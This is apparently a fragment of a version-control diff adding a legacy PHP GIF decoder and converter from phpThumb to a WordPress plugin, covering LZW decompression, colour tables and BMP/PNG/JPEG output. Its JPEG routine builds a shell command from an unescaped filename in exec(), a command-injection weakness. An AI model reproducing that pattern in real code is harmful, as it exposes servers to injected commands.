+	$fd = $gif->getPng($bgColor);
+	if (strlen($fd) <= 0) {
+		return false;
+	}
+
+	if (!($fh = @fopen($lpszFileName, 'wb'))) {
+		return false;
+	}
+	@fwrite($fh, $fd, strlen($fd));
+	@fflush($fh);
+	@fclose($fh);
+	return true;
+}
+
+///////////////////////////////////////////////////////////////////////////////////////////////////
+
+function gif_outputAsJpeg($gif, $lpszFileName, $bgColor = -1)
+{
+	// JPEG output that does not require cjpeg added by James Heinrich <info@silisoftware.com> - December 10, 2003
+	if ((strtoupper(substr(PHP_OS, 0, 3)) != 'WIN') && (file_exists('/usr/local/bin/cjpeg') || `which cjpeg`)) {
+
+		if (gif_outputAsBmp($gif, $lpszFileName.'.bmp', $bgColor)) {
+			exec('cjpeg '.$lpszFileName.'.bmp >'.$lpszFileName.' 2>/dev/null');
+			@unLink($lpszFileName.'.bmp');
+
+			if (@file_exists($lpszFileName)) {
+				if (@fileSize($lpszFileName) > 0) {
+					return true;
+				}
+
+				@unLink($lpszFileName);
+			}
+		}
+
+	} else {
+
+		// either Windows, or cjpeg not found in path
+		if ($img = @ImageCreateFromString($gif->getPng($bgColor))) {
+			if (@ImageJPEG($img, $lpszFileName)) {
+				return true;
+			}
+		}
+
+	}
+
+	return false;
+}
+
+///////////////////////////////////////////////////////////////////////////////////////////////////
+
+function gif_getSize($gif, &$width, &$height)
+{
+	if (isSet($gif) && (@get_class($gif) == 'cgif') && $gif->loaded()) {
+		$width  = $gif->width();
+		$height = $gif->height();
+	} elseif (@file_exists($gif)) {
+		$myGIF = new CGIF();
+		if (!$myGIF->getSize($gif, $width, $height)) {
+			return false;
+		}
+	} else {
+		return false;
+	}
+
+	return true;
+}
+
+///////////////////////////////////////////////////////////////////////////////////////////////////
+
+class CGIFLZW
+{
+	var $MAX_LZW_BITS;
+	var $Fresh, $CodeSize, $SetCodeSize, $MaxCode, $MaxCodeSize, $FirstCode, $OldCode;
+	var $ClearCode, $EndCode, $Next, $Vals, $Stack, $sp, $Buf, $CurBit, $LastBit, $Done, $LastByte;
+
+	///////////////////////////////////////////////////////////////////////////
+
+	// CONSTRUCTOR
+	function CGIFLZW()
+	{
+		$this->MAX_LZW_BITS = 12;
+		unSet($this->Next);
+		unSet($this->Vals);
+		unSet($this->Stack);
+		unSet($this->Buf);
+
+		$this->Next  = range(0, (1 << $this->MAX_LZW_BITS)       - 1);
+		$this->Vals  = range(0, (1 << $this->MAX_LZW_BITS)       - 1);
+		$this->Stack = range(0, (1 << ($this->MAX_LZW_BITS + 1)) - 1);
+		$this->Buf   = range(0, 279);
+	}
+
+	///////////////////////////////////////////////////////////////////////////
+
+	function deCompress($data, &$datLen)
+	{
+		$stLen  = strlen($data);
+		$datLen = 0;
+		$ret    = '';
+
+		// INITIALIZATION
+		$this->LZWCommand($data, true);
+
+		while (($iIndex = $this->LZWCommand($data, false)) >= 0) {
+			$ret .= chr($iIndex);
+		}
+
+		$datLen = $stLen - strlen($data);
+
+		if ($iIndex != -2) {
+			return false;
+		}
+
+		return $ret;
+	}
+
+	///////////////////////////////////////////////////////////////////////////
+
+	function LZWCommand(&$data, $bInit)
+	{
+		if ($bInit) {
+			$this->SetCodeSize = ord($data{0});
+			$data = substr($data, 1);
+
+			$this->CodeSize    = $this->SetCodeSize + 1;
+			$this->ClearCode   = 1 << $this->SetCodeSize;
+			$this->EndCode     = $this->ClearCode + 1;
+			$this->MaxCode     = $this->ClearCode + 2;
+			$this->MaxCodeSize = $this->ClearCode << 1;
+
+			$this->GetCode($data, $bInit);
+
+			$this->Fresh = 1;
+			for ($i = 0; $i < $this->ClearCode; $i++) {
+				$this->Next[$i] = 0;
+				$this->Vals[$i] = $i;
+			}
+
+			for (; $i < (1 << $this->MAX_LZW_BITS); $i++) {
+				$this->Next[$i] = 0;
+				$this->Vals[$i] = 0;
+			}
+
+			$this->sp = 0;
+			return 1;
+		}
+
+		if ($this->Fresh) {
+			$this->Fresh = 0;
+			do {
+				$this->FirstCode = $this->GetCode($data, $bInit);
+				$this->OldCode   = $this->FirstCode;
+			}
+			while ($this->FirstCode == $this->ClearCode);
+
+			return $this->FirstCode;
+		}
+
+		if ($this->sp > 0) {
+			$this->sp--;
+			return $this->Stack[$this->sp];
+		}
+
+		while (($Code = $this->GetCode($data, $bInit)) >= 0) {
+			if ($Code == $this->ClearCode) {
+				for ($i = 0; $i < $this->ClearCode; $i++) {
+					$this->Next[$i] = 0;
+					$this->Vals[$i] = $i;
+				}
+
+				for (; $i < (1 << $this->MAX_LZW_BITS); $i++) {
+					$this->Next[$i] = 0;
+					$this->Vals[$i] = 0;
+				}
+
+				$this->CodeSize    = $this->SetCodeSize + 1;
+				$this->MaxCodeSize = $this->ClearCode << 1;
+				$this->MaxCode     = $this->ClearCode + 2;
+				$this->sp          = 0;
+				$this->FirstCode   = $this->GetCode($data, $bInit);
+				$this->OldCode     = $this->FirstCode;
+
+				return $this->FirstCode;
+			}
+
+			if ($Code == $this->EndCode) {
+				return -2;
+			}
+
+			$InCode = $Code;
+			if ($Code >= $this->MaxCode) {
+				$this->Stack[$this->sp] = $this->FirstCode;
+				$this->sp++;
+				$Code = $this->OldCode;
+			}
+
+			while ($Code >= $this->ClearCode) {
+				$this->Stack[$this->sp] = $this->Vals[$Code];
+				$this->sp++;
+
+				if ($Code == $this->Next[$Code]) // Circular table entry, big GIF Error!
+					return -1;
+
+				$Code = $this->Next[$Code];
+			}
+
+			$this->FirstCode = $this->Vals[$Code];
+			$this->Stack[$this->sp] = $this->FirstCode;
+			$this->sp++;
+
+			if (($Code = $this->MaxCode) < (1 << $this->MAX_LZW_BITS)) {
+				$this->Next[$Code] = $this->OldCode;
+				$this->Vals[$Code] = $this->FirstCode;
+				$this->MaxCode++;
+
+				if (($this->MaxCode >= $this->MaxCodeSize) && ($this->MaxCodeSize < (1 << $this->MAX_LZW_BITS))) {
+					$this->MaxCodeSize *= 2;
+					$this->CodeSize++;
+				}
+			}
+
+			$this->OldCode = $InCode;
+			if ($this->sp > 0) {
+				$this->sp--;
+				return $this->Stack[$this->sp];
+			}
+		}
+
+		return $Code;
+	}
+
+	///////////////////////////////////////////////////////////////////////////
+
+	function GetCode(&$data, $bInit)
+	{
+		if ($bInit) {
+			$this->CurBit   = 0;
+			$this->LastBit  = 0;
+			$this->Done     = 0;
+			$this->LastByte = 2;
+			return 1;
+		}
+
+		if (($this->CurBit + $this->CodeSize) >= $this->LastBit) {
+			if ($this->Done) {
+				if ($this->CurBit >= $this->LastBit) {
+					// Ran off the end of my bits
+					return 0;
+				}
+				return -1;
+			}
+
+			$this->Buf[0] = $this->Buf[$this->LastByte - 2];
+			$this->Buf[1] = $this->Buf[$this->LastByte - 1];
+
+			$Count = ord($data{0});
+			$data  = substr($data, 1);
+
+			if ($Count) {
+				for ($i = 0; $i < $Count; $i++) {
+					$this->Buf[2 + $i] = ord($data{$i});
+				}
+				$data = substr($data, $Count);
+			} else {
+				$this->Done = 1;
+			}
+
+			$this->LastByte = 2 + $Count;
+			$this->CurBit   = ($this->CurBit - $this->LastBit) + 16;
+			$this->LastBit  = (2 + $Count) << 3;
+		}
+
+		$iRet = 0;
+		for ($i = $this->CurBit, $j = 0; $j < $this->CodeSize; $i++, $j++) {
+			$iRet |= (($this->Buf[intval($i / 8)] & (1 << ($i % 8))) != 0) << $j;
+		}
+
+		$this->CurBit += $this->CodeSize;
+		return $iRet;
+	}
+}
+
+///////////////////////////////////////////////////////////////////////////////////////////////////
+
+class CGIFCOLORTABLE
+{
+	var $m_nColors;
+	var $m_arColors;
+
+	///////////////////////////////////////////////////////////////////////////
+
+	// CONSTRUCTOR
+	function CGIFCOLORTABLE()
+	{
+		unSet($this->m_nColors);
+		unSet($this->m_arColors);
+	}
+
+	///////////////////////////////////////////////////////////////////////////
+
+	function load($lpData, $num)
+	{
+		$this->m_nColors  = 0;
+		$this->m_arColors = array();
+
+		for ($i = 0; $i < $num; $i++) {
+			$rgb = substr($lpData, $i * 3, 3);
+			if (strlen($rgb) < 3) {
+				return false;
+			}
+
+			$this->m_arColors[] = (ord($rgb{2}) << 16) + (ord($rgb{1}) << 8) + ord($rgb{0});
+			$this->m_nColors++;
+		}
+
+		return true;
+	}
+
+	///////////////////////////////////////////////////////////////////////////
+
+	function toString()
+	{
+		$ret = '';
+
+		for ($i = 0; $i < $this->m_nColors; $i++) {
+			$ret .=
+				chr(($this->m_arColors[$i] & 0x000000FF))       . // R
+				chr(($this->m_arColors[$i] & 0x0000FF00) >>  8) . // G
+				chr(($this->m_arColors[$i] & 0x00FF0000) >> 16);  // B
+		}
+
+		return $ret;
+	}
+
+	///////////////////////////////////////////////////////////////////////////
+
+	function toRGBQuad()
+	{
+		$ret = '';
+
+		for ($i = 0; $i < $this->m_nColors; $i++) {
+			$ret .=
+				chr(($this->m_arColors[$i] & 0x00FF0000) >> 16) . // B
+				chr(($this->m_arColors[$i] & 0x0000FF00) >>  8) . // G
+				chr(($this->m_arColors[$i] & 0x000000FF))       . // R
+				"\x00";
+		}
+
+		return $ret;
+	}
+
+	///////////////////////////////////////////////////////////////////////////
+
+	function colorIndex($rgb)
+	{
+		$rgb  = intval($rgb) & 0xFFFFFF;
+		$r1   = ($rgb & 0x0000FF);
+		$g1   = ($rgb & 0x00FF00) >>  8;
+		$b1   = ($rgb & 0xFF0000) >> 16;
+		$idx  = -1;
+
+		for ($i = 0; $i < $this->m_nColors; $i++) {
+			$r2 = ($this->m_arColors[$i] & 0x000000FF);
+			$g2 = ($this->m_arColors[$i] & 0x0000FF00) >>  8;
+			$b2 = ($this->m_arColors[$i] & 0x00FF0000) >> 16;
+			$d  = abs($r2 - $r1) + abs($g2 - $g1) + abs($b2 - $b1);
+
+			if (($idx == -1) || ($d < $dif)) {
+				$idx = $i;
+				$dif = $d;
+			}
+		}
+
+		return $idx;
+	}
+}
+
+///////////////////////////////////////////////////////////////////////////////////////////////////
+
+class CGIFFILEHEADER
+{
+	var $m_lpVer;
+	var $m_nWidth;
+	var $m_nHeight;
+	var $m_bGlobalClr;
+	var $m_nColorRes;
+	var $m_bSorted;
+	var $m_nTableSize;
+	var $m_nBgColor;
+	var $m_nPixelRatio;
+	var $m_colorTable;
+
+	///////////////////////////////////////////////////////////////////////////
+
+	// CONSTRUCTOR
+	function CGIFFILEHEADER()
+	{
+		unSet($this->m_lpVer);
+		unSet($this->m_nWidth);
+		unSet($this->m_nHeight);
+		unSet($this->m_bGlobalClr);
+		unSet($this->m_nColorRes);
+		unSet($this->m_bSorted);
+		unSet($this->m_nTableSize);
+		unSet($this->m_nBgColor);
+		unSet($this->m_nPixelRatio);
+		unSet($this->m_colorTable);
+	}
+
+	///////////////////////////////////////////////////////////////////////////
+
+	function load($lpData, &$hdrLen)
+	{
+		$hdrLen = 0;
+
+		$this->m_lpVer = substr($lpData, 0, 6);
+		if (($this->m_lpVer <> 'GIF87a') && ($this->m_lpVer <> 'GIF89a')) {
+			return false;
+		}
+
+		$this->m_nWidth  = $this->w2i(substr($lpData, 6, 2));
+		$this->m_nHeight = $this->w2i(substr($lpData, 8, 2));
+		if (!$this->m_nWidth || !$this->m_nHeight) {
+			return false;
+		}
+
+		$b = ord(substr($lpData, 10, 1));
+		$this->m_bGlobalClr  = ($b & 0x80) ? true : false;
+		$this->m_nColorRes   = ($b & 0x70) >> 4;
+		$this->m_bSorted     = ($b & 0x08) ? true : false;
+		$this->m_nTableSize  = 2 << ($b & 0x07);
+		$this->m_nBgColor    = ord(substr($lpData, 11, 1));
+		$this->m_nPixelRatio = ord(substr($lpData, 12, 1));
+		$hdrLen = 13;
+
+		if ($this->m_bGlobalClr) {
+			$this->m_colorTable = new CGIFCOLORTABLE();
+			if (!$this->m_colorTable->load(substr($lpData, $hdrLen), $this->m_nTableSize)) {
+				return false;
+			}
+			$hdrLen += 3 * $this->m_nTableSize;
+		}
+
+		return true;
+	}
+
+	///////////////////////////////////////////////////////////////////////////
+
+	function w2i($str)
+	{
+		return ord(substr($str, 0, 1)) + (ord(substr($str, 1, 1)) << 8);
+	}
+}
+
+///////////////////////////////////////////////////////////////////////////////////////////////////
+
+class CGIFIMAGEHEADER
+{
+	var $m_nLeft;
+	var $m_nTop;
+	var $m_nWidth;
+	var $m_nHeight;
+	var $m_bLocalClr;
+	var $m_bInterlace;
+	var $m_bSorted;
+	var $m_nTableSize;
+	var $m_colorTable;
+
+	///////////////////////////////////////////////////////////////////////////
+
+	// CONSTRUCTOR
+	function CGIFIMAGEHEADER()
+	{
+		unSet($this->m_nLeft);
+		unSet($this->m_nTop);
+		unSet($this->m_nWidth);
+		unSet($this->m_nHeight);
+		unSet($this->m_bLocalClr);
+		unSet($this->m_bInterlace);
+		unSet($this->m_bSorted);
+		unSet($this->m_nTableSize);
+		unSet($this->m_colorTable);
+	}
+
+	///////////////////////////////////////////////////////////////////////////
+
+	function load($lpData, &$hdrLen)
+	{
+		$hdrLen = 0;
+
+		$this->m_nLeft   = $this->w2i(substr($lpData, 0, 2));
+		$this->m_nTop    = $this->w2i(substr($lpData, 2, 2));
+		$this->m_nWidth  = $this->w2i(substr($lpData, 4, 2));
+		$this->m_nHeight = $this->w2i(substr($lpData, 6, 2));
+
+		if (!$this->m_nWidth || !$this->m_nHeight) {
+			return false;
+		}
+
+		$b = ord($lpData{8});
+		$this->m_bLocalClr  = ($b & 0x80) ? true : false;
+		$this->m_bInterlace = ($b & 0x40) ? true : false;
+		$this->m_bSorted    = ($b & 0x20) ? true : false;
+		$this->m_nTableSize = 2 << ($b & 0x07);
+		$hdrLen = 9;
+
+		if ($this->m_bLocalClr) {
+			$this->m_colorTable = new CGIFCOLORTABLE();
+			if (!$this->m_colorTable->load(substr($lpData, $hdrLen), $this->m_nTableSize)) {
+				return false;
+			}
+			$hdrLen += 3 * $this->m_nTableSize;
+		}
+
+		return true;
+	}
+
+	///////////////////////////////////////////////////////////////////////////
+
+	function w2i($str)
+	{
+		return ord(substr($str, 0, 1)) + (ord(substr($str, 1, 1)) << 8);
+	}
+}
+
+///////////////////////////////////////////////////////////////////////////////////////////////////
+
+class CGIFIMAGE
+{
+	var $m_disp;
+	var $m_bUser;
+	var $m_bTrans;
+	var $m_nDelay;
+	var $m_nTrans;
+	var $m_lpComm;
+	var $m_gih;
+	var $m_data;
+	var $m_lzw;
+
+	///////////////////////////////////////////////////////////////////////////
+
+	function CGIFIMAGE()
+	{
+		unSet($this->m_disp);
+		unSet($this->m_bUser);
+		unSet($this->m_bTrans);
+		unSet($this->m_nDelay);
+		unSet($this->m_nTrans);
+		unSet($this->m_lpComm);
+		unSet($this->m_data);
+		$this->m_gih = new CGIFIMAGEHEADER();
+		$this->m_lzw = new CGIFLZW();
+	}
+
+	///////////////////////////////////////////////////////////////////////////
+
+	function load($data, &$datLen)
+	{
+		$datLen = 0;
+
+		while (true) {
+			$b = ord($data{0});
+			$data = substr($data, 1);
+			$datLen++;
+
+			switch($b) {
+			case 0x21: // Extension
+				if (!$this->skipExt($data, $len = 0)) {
+					return false;
+				}
+				$datLen += $len;
+				break;
+
+			case 0x2C: // Image
+				// LOAD HEADER & COLOR TABLE
+				if (!$this->m_gih->load($data, $len = 0)) {
+					return false;
+				}
+				$data = substr($data, $len);
+				$datLen += $len;
+
+				// ALLOC BUFFER
+				if (!($this->m_data = $this->m_lzw->deCompress($data, $len = 0))) {
+					return false;
+				}
+				$data = substr($data, $len);
+				$datLen += $len;
+
+				if ($this->m_gih->m_bInterlace) {
+					$this->deInterlace();
+				}
+				return true;
+
+			case 0x3B: // EOF
+			default:
+				return false;
+			}
+		}
+		return false;
+	}
+
+	///////////////////////////////////////////////////////////////////////////
+
+	function skipExt(&$data, &$extLen)
+	{
+		$extLen = 0;
+
+		$b = ord($data{0});
+		$data = substr($data, 1);
+		$extLen++;
+
+		switch($b) {
+		case 0xF9: // Graphic Control
+			$b = ord($data{1});
+			$this->m_disp   = ($b & 0x1C) >> 2;
+			$this->m_bUser  = ($b & 0x02) ? true : false;
+			$this->m_bTrans = ($b & 0x01) ? true : false;
+			$this->m_nDelay = $this->w2i(substr($data, 2, 2));
+			$this->m_nTrans = ord($data{4});
+			break;
+
+		case 0xFE: // Comment
+			$this->m_lpComm = substr($data, 1, ord($data{0}));
+			break;
+
+		case 0x01: // Plain text
+			break;
+
+		case 0xFF: // Application
+			break;
+		}
+
+		// SKIP DEFAULT AS DEFS MAY CHANGE
+		$b = ord($data{0});
+		$data = substr($data, 1);
+		$extLen++;
+		while ($b > 0) {
+			$data = substr($data, $b);
+			$extLen += $b;
+			$b    = ord($data{0});
+			$data = substr($data, 1);
+			$extLen++;
+		}
+		return true;
+	}
+
+	///////////////////////////////////////////////////////////////////////////
+
+	function w2i($str)
+	{
+		return ord(substr($str, 0, 1)) + (ord(substr($str, 1, 1)) << 8);
+	}
+
+	///////////////////////////////////////////////////////////////////////////
+
+	function deInterlace()
+	{
+		$data = $this->m_data;
+
+		for ($i = 0; $i < 4; $i++) {
+			switch($i) {
+			case 0:
+				$s = 8;
+				$y = 0;
+				break;
+
+			case 1:
+				$s = 8;
+				$y = 4;
+				break;
+
+			case 2:
+				$s = 4;
+				$y = 2;
+				break;
+
+			case 3:
+				$s = 2;
+				$y = 1;
+				break;
+			}
+
+			for (; $y < $this->m_gih->m_nHeight; $y += $s) {
+				$lne = substr($this->m_data, 0, $this->m_gih->m_nWidth);
+				$this->m_data = substr($this->m_data, $this->m_gih->m_nWidth);
+
+				$data =
+					substr($data, 0, $y * $this->m_gih->m_nWidth) .
+					$lne .
+					substr($data, ($y + 1) * $this->m_gih->m_nWidth);
+			}
+		}
+
+		$this->m_data = $data;
+	}
+}
+
+///////////////////////////////////////////////////////////////////////////////////////////////////
+
+class CGIF
+{
+	var $m_gfh;
+	var $m_lpData;
+	var $m_img;
+	var $m_bLoaded;
+
+	///////////////////////////////////////////////////////////////////////////
+
+	// CONSTRUCTOR
+	function CGIF()
+	{
+		$this->m_gfh     = new CGIFFILEHEADER();
+		$this->m_img     = new CGIFIMAGE();
+		$this->m_lpData  = '';
+		$this->m_bLoaded = false;
+	}
+
+	///////////////////////////////////////////////////////////////////////////
+
+	function loadFile($lpszFileName, $iIndex)
+	{
+		if ($iIndex < 0) {
+			return false;
+		}
+
+		// READ FILE
+		if (!($fh = @fopen($lpszFileName, 'rb'))) {
+			return false;
+		}
+		$this->m_lpData = @fRead($fh, @fileSize($lpszFileName));
+		fclose($fh);
+
+		// GET FILE HEADER
+		if (!$this->m_gfh->load($this->m_lpData, $len = 0)) {
+			return false;
+		}
+		$this->m_lpData = substr($this->m_lpData, $len);
+
+		do {
+			if (!$this->m_img->load($this->m_lpData, $imgLen = 0)) {
+				return false;
+			}
+			$this->m_lpData = substr($this->m_lpData, $imgLen);
+		}
+		while ($iIndex-- > 0);
+
+		$this->m_bLoaded = true;
+		return true;
+	}
+
+	///////////////////////////////////////////////////////////////////////////
+
+	function getSize($lpszFileName, &$width, &$height)
+	{
+		if (!($fh = @fopen($lpszFileName, 'rb'))) {
+			return false;
+		}
+		$data = @fRead($fh, @fileSize($lpszFileName));
+		@fclose($fh);
+
+		$gfh = new CGIFFILEHEADER();
+		if (!$gfh->load($data, $len = 0)) {
+			return false;
+		}
+
+		$width  = $gfh->m_nWidth;
+		$height = $gfh->m_nHeight;
+		return true;
+	}
+
+	///////////////////////////////////////////////////////////////////////////
+
+	function getBmp($bgColor)
+	{
+		$out = '';
+
+		if (!$this->m_bLoaded) {
+			return false;
+		}
+
+		// PREPARE COLOR TABLE (RGBQUADs)
+		if ($this->m_img->m_gih->m_bLocalClr) {
+			$nColors = $this->m_img->m_gih->m_nTableSize;
+			$rgbq    = $this->m_img->m_gih->m_colorTable->toRGBQuad();
+			if ($bgColor != -1) {
+				$bgColor = $this->m_img->m_gih->m_colorTable->colorIndex($bgColor);
+			}
+		} elseif ($this->m_gfh->m_bGlobalClr) {
+			$nColors = $this->m_gfh->m_nTableSize;
+			$rgbq    = $this->m_gfh->m_colorTable->toRGBQuad();
+			if ($bgColor != -1) {
+				$bgColor = $this->m_gfh->m_colorTable->colorIndex($bgColor);
+			}
+		} else {
+			$nColors =  0;
+			$bgColor = -1;
+		}
+
+		// PREPARE BITMAP BITS
+		$data = $this->m_img->m_data;
+		$nPxl = ($this->m_gfh->m_nHeight - 1) * $this->m_gfh->m_nWidth;
+		$bmp  = '';
+		$nPad = ($this->m_gfh->m_nWidth % 4) ? 4 - ($this->m_gfh->m_nWidth % 4) : 0;
+		for ($y = 0; $y < $this->m_gfh->m_nHeight; $y++) {
+			for ($x = 0; $x < $this->m_gfh->m_nWidth; $x++, $nPxl++) {
+				if (
+					($x >= $this->m_img->m_gih->m_nLeft) &&
+					($y >= $this->m_img->m_gih->m_nTop) &&
+					($x <  ($this->m_img->m_gih->m_nLeft + $this->m_img->m_gih->m_nWidth)) &&
+					($y <  ($this->m_img->m_gih->m_nTop  + $this->m_img->m_gih->m_nHeight))) {
+					// PART OF IMAGE
+					if (@$this->m_img->m_bTrans && (ord($data{$nPxl}) == $this->m_img->m_nTrans)) {
+						// TRANSPARENT -> BACKGROUND
+						if ($bgColor == -1) {
+							$bmp .= chr($this->m_gfh->m_nBgColor);
+						} else {
+							$bmp .= chr($bgColor);
+						}
+					} else {
+						$bmp .= $data{$nPxl};
+					}
+				} else {
+					// BACKGROUND
+					if ($bgColor == -1) {
+						$bmp .= chr($this->m_gfh->m_nBgColor);
+					} else {
+						$bmp .= chr($bgColor);
+					}
+				}
+			}
+			$nPxl -= $this->m_gfh->m_nWidth << 1;
+
+			// ADD PADDING
+			for ($x = 0; $x < $nPad; $x++) {
+				$bmp .= "\x00";
+			}
+		}
+
+		// BITMAPFILEHEADER
+		$out .= 'BM';
+		$out .= $this->dword(14 + 40 + ($nColors << 2) + strlen($bmp));
+		$out .= "\x00\x00";
+		$out .= "\x00\x00";
+		$out .= $this->dword(14 + 40 + ($nColors << 2));
+
+		// BITMAPINFOHEADER
+		$out .= $this->dword(40);
+		$out .= $this->dword($this->m_gfh->m_nWidth);
+		$out .= $this->dword($this->m_gfh->m_nHeight);
+		$out .= "\x01\x00";
+		$out .= "\x08\x00";
+		$out .= "\x00\x00\x00\x00";
+		$out .= "\x00\x00\x00\x00";
+		$out .= "\x12\x0B\x00\x00";
+		$out .= "\x12\x0B\x00\x00";
+		$out .= $this->dword($nColors % 256);
+		$out .= "\x00\x00\x00\x00";
+
+		// COLOR TABLE
+		if ($nColors > 0) {
+			$out .= $rgbq;
+		}
+
+		// DATA
+		$out .= $bmp;
+
+		return $out;
+	}
+
+	///////////////////////////////////////////////////////////////////////////
+
+	function getPng($bgColor)
+	{
+		$out = '';
+
+		if (!$this->m_bLoaded) {
+			return false;
+		}
+
+		// PREPARE COLOR TABLE (RGBQUADs)
+		if ($this->m_img->m_gih->m_bLocalClr) {
+			$nColors = $this->m_img->m_gih->m_nTableSize;
+			$pal     = $this->m_img->m_gih->m_colorTable->toString();
+			if ($bgColor != -1) {
+				$bgColor = $this->m_img->m_gih->m_colorTable->colorIndex($bgColor);
+			}
+		} elseif ($this->m_gfh->m_bGlobalClr) {
+			$nColors = $this->m_gfh->m_nTableSize;
+			$pal     = $this->m_gfh->m_colorTable->toString();
+			if ($bgColor != -1) {
+				$bgColor = $this->m_gfh->m_colorTable->colorIndex($bgColor);
+			}
+		} else {
+			$nColors =  0;
+			$bgColor = -1;
+		}
+
+		// PREPARE BITMAP BITS
+		$data = $this->m_img->m_data;
+		$nPxl = 0;
+		$bmp  = '';
+		for ($y = 0; $y < $this->m_gfh->m_nHeight; $y++) {
+			$bmp .= "\x00";
+			for ($x = 0; $x < $this->m_gfh->m_nWidth; $x++, $nPxl++) {
+				if (
+					($x >= $this->m_img->m_gih->m_nLeft) &&
+					($y >= $this->m_img->m_gih->m_nTop) &&
+					($x <  ($this->m_img->m_gih->m_nLeft + $this->m_img->m_gih->m_nWidth)) &&
+					($y <  ($this->m_img->m_gih->m_nTop  + $this->m_img->m_gih->m_nHeight))) {
+					// PART OF IMAGE
+					$bmp .= $data{$nPxl};
+				} else {
+					// BACKGROUND
+					if ($bgColor == -1) {
+						$bmp .= chr($this->m_gfh->m_nBgColor);
+					} else {
+						$bmp .= chr($bgColor);
+					}
+				}
+			}
+		}
+		$bmp = gzcompress($bmp, 9);
+
+		///////////////////////////////////////////////////////////////////////
+		// SIGNATURE
+		$out .= "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A";
+		///////////////////////////////////////////////////////////////////////
+		// HEADER
+		$out .= "\x00\x00\x00\x0D";
+		$tmp  = 'IHDR';
+		$tmp .= $this->ndword($this->m_gfh->m_nWidth);
+		$tmp .= $this->ndword($this->m_gfh->m_nHeight);
+		$tmp .= "\x08\x03\x00\x00\x00";
+		$out .= $tmp;
+		$out .= $this->ndword(crc32($tmp));
+		///////////////////////////////////////////////////////////////////////
+		// PALETTE
+		if ($nColors > 0) {
+			$out .= $this->ndword($nColors * 3);
+			$tmp  = 'PLTE';
+			$tmp .= $pal;
+			$out .= $tmp;
+			$out .= $this->ndword(crc32($tmp));
+		}
+		///////////////////////////////////////////////////////////////////////
+		// TRANSPARENCY
+		if (@$this->m_img->m_bTrans && ($nColors > 0)) {
+			$out .= $this->ndword($nColors);
+			$tmp  = 'tRNS';
+			for ($i = 0; $i < $nColors; $i++) {
+				$tmp .= ($i == $this->m_img->m_nTrans) ? "\x00" : "\xFF";
+			}
+			$out .= $tmp;
+			$out .= $this->ndword(crc32($tmp));
+		}
+		///////////////////////////////////////////////////////////////////////
+		// DATA BITS
+		$out .= $this->ndword(strlen($bmp));
+		$tmp  = 'IDAT';
+		$tmp .= $bmp;
+		$out .= $tmp;
+		$out .= $this->ndword(crc32($tmp));
+		///////////////////////////////////////////////////////////////////////
+		// END OF FILE
+		$out .= "\x00\x00\x00\x00IEND\xAE\x42\x60\x82";
+
+		return $out;
+	}
+
+	///////////////////////////////////////////////////////////////////////////
+
+	// Added by James Heinrich <info@silisoftware.com> - January 5, 2003
+
+	// Takes raw image data and plots it pixel-by-pixel on a new GD image and returns that
+	// It's extremely slow, but the only solution when ImageCreateFromString() fails
+	function getGD_PixelPlotterVersion()
+	{
+		if (!$this->m_bLoaded) {
+			return false;
+		}
+
+		// PREPARE COLOR TABLE (RGBQUADs)
+		if ($this->m_img->m_gih->m_bLocalClr) {
+			$pal = $this->m_img->m_gih->m_colorTable->toString();
+		} elseif ($this->m_gfh->m_bGlobalClr) {
+			$pal = $this->m_gfh->m_colorTable->toString();
+		} else {
+			die('No color table available in getGD_PixelPlotterVersion()');
+		}
+
+		$PlottingIMG = ImageCreate($this->m_gfh->m_nWidth, $this->m_gfh->m_nHeight);
+		$NumColorsInPal = floor(strlen($pal) / 3);
+		for ($i = 0; $i < $NumColorsInPal; $i++) {
+			$ThisImageColor[$i] = ImageColorAllocate(
+									$PlottingIMG,
+									ord($pal{(($i * 3) + 0)}),
+									ord($pal{(($i * 3) + 1)}),
+									ord($pal{(($i * 3) + 2)}));
+		}
+
+		// PREPARE BITMAP BITS
+		$data = $this->m_img->m_data;
+		$nPxl = ($this->m_gfh->m_nHeight - 1) * $this->m_gfh->m_nWidth;
+		for ($y = 0; $y < $this->m_gfh->m_nHeight; $y++) {
+			if (!phpthumb_functions::FunctionIsDisabled('set_time_limit')) {
+				set_time_limit(30);
+			}
+			for ($x = 0; $x < $this->m_gfh->m_nWidth; $x++, $nPxl++) {
+				if (
+					($x >= $this->m_img->m_gih->m_nLeft) &&
+					($y >= $this->m_img->m_gih->m_nTop) &&
+					($x <  ($this->m_img->m_gih->m_nLeft + $this->m_img->m_gih->m_nWidth)) &&
+					($y <  ($this->m_img->m_gih->m_nTop  + $this->m_img->m_gih->m_nHeight))) {
+					// PART OF IMAGE
+					if (@$this->m_img->m_bTrans && (ord($data{$nPxl}) == $this->m_img->m_nTrans)) {
+						ImageSetPixel($PlottingIMG, $x, $this->m_gfh->m_nHeight - $y - 1, $ThisImageColor[$this->m_gfh->m_nBgColor]);
+					} else {
+						ImageSetPixel($PlottingIMG, $x, $this->m_gfh->m_nHeight - $y - 1, $ThisImageColor[ord($data{$nPxl})]);
+					}
+				} else {
+					// BACKGROUND
+					ImageSetPixel($PlottingIMG, $x, $this->m_gfh->m_nHeight - $y - 1, $ThisImageColor[$this->m_gfh->m_nBgColor]);
+				}
+			}
+			$nPxl -= $this->m_gfh->m_nWidth << 1;
+
+		}
+
+		return $PlottingIMG;
+	}
+
+	///////////////////////////////////////////////////////////////////////////
+
+	function dword($val)
+	{
+		$val = intval($val);
+		return chr($val & 0xFF).chr(($val & 0xFF00) >> 8).chr(($val & 0xFF0000) >> 16).chr(($val & 0xFF000000) >> 24);
+	}
+
+	///////////////////////////////////////////////////////////////////////////
+
+	function ndword($val)
+	{
+		$val = intval($val);
+		return chr(($val & 0xFF000000) >> 24).chr(($val & 0xFF0000) >> 16).chr(($val & 0xFF00) >> 8).chr($val & 0xFF);
+	}
+
+	///////////////////////////////////////////////////////////////////////////
+
+	function width()
+	{
+		return $this->m_gfh->m_nWidth;
+	}
+
+	///////////////////////////////////////////////////////////////////////////
+
+	function height()
+	{
+		return $this->m_gfh->m_nHeight;
+	}
+
+	///////////////////////////////////////////////////////////////////////////
+
+	function comment()
+	{
+		return $this->m_img->m_lpComm;
+	}
+
+	///////////////////////////////////////////////////////////////////////////
+
+	function loaded()
+	{
+		return $this->m_bLoaded;
+	}
+}
+
+///////////////////////////////////////////////////////////////////////////////////////////////////
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/phpthumb/phpthumb.ico.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/phpthumb/phpthumb.ico.php	(revision 44)
